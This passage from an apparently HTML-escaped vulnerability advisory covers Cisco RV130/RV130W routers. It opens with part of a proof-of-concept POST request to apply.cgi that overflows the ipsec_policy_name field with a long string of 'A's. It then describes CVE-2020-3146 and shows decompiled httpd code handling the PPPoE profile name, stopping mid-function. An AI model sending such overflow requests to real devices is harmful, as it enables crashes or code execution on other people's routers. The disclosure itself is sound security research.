Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/apply.cgi;session_id=79f76000d1a3c29cef38c6dd14f25c0e
Content-Type: application/x-www-form-urlencoded
Content-Length: 1812
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

submit_button=vpn_adv_refresh&amp;amp;change_action=&amp;amp;submit_type=&amp;amp;gui_action=Apply&amp;amp;ipsec_enc=aes
128&amp;amp;ipsec_int=sha1&amp;amp;backname=&amp;amp;stflg=add&amp;amp;selidx=0&amp;amp;ipsec_stflg=add&amp;amp;ipsec_selidx=0&amp;amp;ike_stflg
=&amp;amp;ike_selidx=&amp;amp;next_page=vpn_adv&amp;amp;ipsec_policy_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;amp;ipsec_policy_type=0&amp;amp;ipsec_en
dpoint_type=0&amp;amp;ipsec_endpoint_value=1.1.1.1&amp;amp;ipsec_local_type=0&amp;amp;ipsec_local_start=1.1.1.1&amp;amp;
ipsec_local_subnet=255.255.255.255&amp;amp;ipsec_remote_type=0&amp;amp;ipsec_remote_start=1.1.1.1&amp;amp;ipsec_
remote_subnet=255.255.255.255&amp;amp;start_auto=&amp;amp;ipsec_sa_lifetime=3600&amp;amp;auto_ipsec_enc=aes128&amp;amp;a
uto_ipsec_int=sha1&amp;amp;ipsec_ike_policy_name=1&amp;amp;end_auto=&amp;amp;webpage_end=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;cve-2020-3146---cisco-rv130rv130w-routers-management-interface-remote-command-execution-ppp&quot;&gt;CVE-2020-3146 - Cisco RV130/RV130W Routers Management Interface Remote Command Execution (PPP)&lt;/h3&gt;

&lt;h4 id=&quot;summary-2&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN
Router could allow an authenticated, remote attacker to execute arbitrary code on an affected device.&lt;/p&gt;

&lt;h4 id=&quot;impact-2&quot;&gt;Impact&lt;/h4&gt;

&lt;p&gt;A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of
the affected device as a high-privilege user.&lt;/p&gt;

&lt;h4 id=&quot;affected-systems-2&quot;&gt;Affected Systems&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;RV130 Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
  &lt;li&gt;RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;description-2&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;The vulnerability is due to improper validation of user-supplied data in the web-based management interface.&lt;/p&gt;

&lt;p&gt;An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.&lt;/p&gt;

&lt;p&gt;We identified a dangerous call to strcpy in the function at 0x0006e994 in the httpd binary (/usr/sbin/httpd in
firmware rootfs).&lt;/p&gt;

&lt;p&gt;The decompiled function looks like the pseudo-code below, comments are personal additions:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FUN_0006e994&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack856&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uStack352&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uStack348&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uStack344&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_154&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack323&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack259&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_c0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_7c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_74&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;undefined2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;__s2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FUN_0001d0fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wizard_pppoe_pname&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// __s2 is the POST parameter&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;wizard_pppoe_pname&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FUN_0001d0fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ppp_passwd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__s2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_28&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;local_22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack856&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;b64_decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack856&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nvram_get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pppoe_select_profile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;get_pppoe_profile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DAT_00089938&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;get_pppoe_profile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DAT_00089938&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nvram_get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pppoe_select_profile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x8ce7c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_164&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;__stream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/dev/console&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__stream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
